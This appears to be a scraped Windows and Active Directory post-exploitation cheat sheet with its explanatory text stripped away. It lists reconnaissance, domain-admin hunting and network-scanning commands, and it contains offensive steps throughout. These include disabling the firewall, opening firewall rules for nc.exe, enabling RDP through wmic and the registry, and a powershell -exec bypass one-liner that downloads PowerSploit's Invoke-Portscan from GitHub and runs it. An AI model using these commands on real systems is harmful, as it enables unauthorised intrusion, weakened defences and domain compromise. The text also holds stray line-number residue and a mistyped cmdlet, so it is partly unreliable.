1

ipconfig /all

1
2

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

1

echo %PROCESSOR_ARCHITECTURE%

1

wmic product get name, version

1

powershell "Get-WmiObject -class Win32_Product | select-Object -Property name, version"

1

wmic service list brief

1
2

tasklist
wmic process list brief

1

wmic startup get command, caption

1

schtasks /query /fo LIST /v

1

net statistics workstation

1
2
3
4

net user
net localgroup administrators
# 查询在线用户：
query user || qwinsta

1

net session

1

netstat -ano

1

systeminfo

1

wmic qfe get Caption,Description,HotfixID,InstalledOn

1
2

net share
wmic share get name,path,status

1
2

route print
arp -a

1

netsh firewall set opmode disable

1

netsh firewall set allprofiles state off

1

netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

1

netsh firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"

1

netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"

1

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

1

netsh advfirewall firewall set currentprofile logging filename "C:\windows\temp\fw.log"

1

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

1

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

1

wmic path win32_terminalservicesetting where(__CLASS!="") call setallowtsconnections 1

1
2
3
4
5
6

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS!="") call setallowsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call 
setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

1

usemodule situational_awareness/host/winenum

1

situational_awareness/host/computerdetails

1

whoami

1

whoami /all

1

net user XXX /domain

1

ipconfig /all

1

systeminfo

1

net config workstation

1

net time /domain

1

nbtscan.exe 192.168.1.0/20

1

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

1

arp.exe -t 192.168.1.0/20

1

usemodule situational_awareness/network/arpscan

1

powershell.exe -exec bypass -Command "&{Import-Module C:\windows\temp\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24}" >> C:\Windows\temp\log.txt

1

auxiliary/scanner/portscan/tcp

1

powershell.exe -nop -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/POwershellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\rex.txt"

1

Invoke-Portscan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost

1

net view /domain

1

net view /domain:HACKE

1

net group /domain

1

net group "domain computers" /domain

1

net accounts /domain

1

nltest /domain_trusts

1

nltest /DCLIST:DomainName

1

nslookup -type=SRV _ldap._tcp.

1

net time /domain

1

net group "Domain Controllers" /domain

1

netdom query pdc

1

net user /domain

1

wmic useraccount get /all

1

dsquery user

1

net localgroup administrators

1

net group "domain admins" /domain

1

net group "Enterprise Admins" /domain

1

pslogon.exe \\DC

1

PVEFindADUser.exe -current

1

usemode situational_awareness/network/powerview/user_hunter

1

net group "Domain Admins" /domain

1

tasklist /v 

1
2

FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && 
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

1

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

1

brew services start neo4j

1

SharpHound.exe -c all